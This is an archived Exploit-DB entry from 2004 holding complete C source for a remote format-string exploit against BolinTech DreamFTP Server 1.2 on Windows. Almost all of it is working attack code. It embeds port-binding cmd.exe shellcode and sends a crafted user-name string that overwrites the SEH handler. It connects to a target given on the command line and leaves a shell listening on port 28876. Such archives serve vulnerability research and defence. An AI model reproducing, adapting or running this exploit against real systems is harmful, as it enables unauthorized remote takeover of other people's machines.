Exploit-DB #823
Description: BolinTech DreamFTP Server 1.2 (1.02/TryFTP 1.0.0.1) - Remote User Name Format String
Type: remote
Platform: windows
Date: 2004-02-11
Author: Skylined

Exploit:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

// WIN NT/2K/XP cmd.exe shellcode
// kernel32.dll baseaddress calculation: OS/SP-independent
// string-save: 00, 0a and 0d free.
// portbinding: port 28876
// looping: reconnect after disconnect
char* shellcode = 
  "\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
  "\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
  "\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
  "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
  "\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
  "\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
  "\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
  "\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
  "\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
  "\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
  "\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
  "\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
  "\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60"
  "\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89"
  "\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56"
  "\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53"
  "\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53"
  "\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf"
  "\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf"
  "\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff"
  "\x83\xc4\x5c\x61\xeb\x89";

int main(int argc, char *argv[], char *envp[]) {
  int sock;
  FILE* FILEsock;
  struct sockaddr_in addr;
  int port = 21;
  char buffer[1024];

  if (argc<2 || argc>3) {
    printf("Usage: %s IP [PORT]\n", argv[0]);
    exit(-1);
  }
  if (argc == 3) port = atoi(argv[2]);

  printf("- Nightmare --------------------------------------------------\n"
         "  Dream FTP v1.2 formatstring exploit.\n"
         "  Written by SkyLined <SkyLined@EduP.TUDelft.nl>.\n"
         "  Credits for the vulnerability go to badpack3t\n"
         "                           <badpack3t@security-protocols.com>.\n"
         "  Shellcode based on work by H D Moore (www.metasploit.com).\n"
         "  Greets to everyone at 0dd and #netric.\n"
         "  (K)(L)(F) for Suzan.\n"
         "\n"
         "  Binds a shell at %s:28876 if successfull.\n"
         "  Tested with: WIN2KEN/Dream FTP v1.2 (1.02/TryFTP 1.0.0.1)\n"
         "--------------------------------------------------------------\n",
         argv[1]);

  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = inet_addr(argv[1]);

  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1 ||
      connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1 ||
      (FILEsock = fdopen(sock, "r+")) == NULL) {
    fprintf(stderr, "\n[-] Connection to %s:%d failed: ", argv[1], port);
    perror(NULL);
    exit(-1);
  }

  printf("\n[+] Connected to %s:%d.\n", argv[1], port);
  do printf("  --> %s", fgets(buffer, sizeof buffer, FILEsock));
    while (strstr(buffer, "220-") == buffer);

  printf("\n[+] Sending exploit string...\n");
  fprintf(FILEsock,
    // Argument 10 points to the SEH handler code, it's RWE so we'll change
    // the SEH handler to redirect execution to the beginning of our
    // formatstring. When the SEH handler is called [ebx+0x3c] points
    // to the start of our formatstring, we just have to jump over the
    // formatstring exploit itself to our shellcode:
    "\xeb\x29" // Jump over the formatstring exploit
    "%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%%dd%%n"     // Argument 10 -> SEH
    "%%n" // Causes exception after SEH adjustment.
    "@@@@@@@@" // nopslide landing zone for jump
    "%s\r\n", // shellcode
    0x3C63FF-0x4f, // New SEH code = 0x3C63FF (jmp *0x3c(%ebx) | jmp [EBX+0x3C])
    shellcode);
  fflush(FILEsock); 
  close(sock);
  printf("\n[+] Done, allow a few seconds on a slow target before you can\n"
           "    connect to %s:28876.\n", argv[1]);
  return 0;
}

// milw0rm.com [2004-02-11]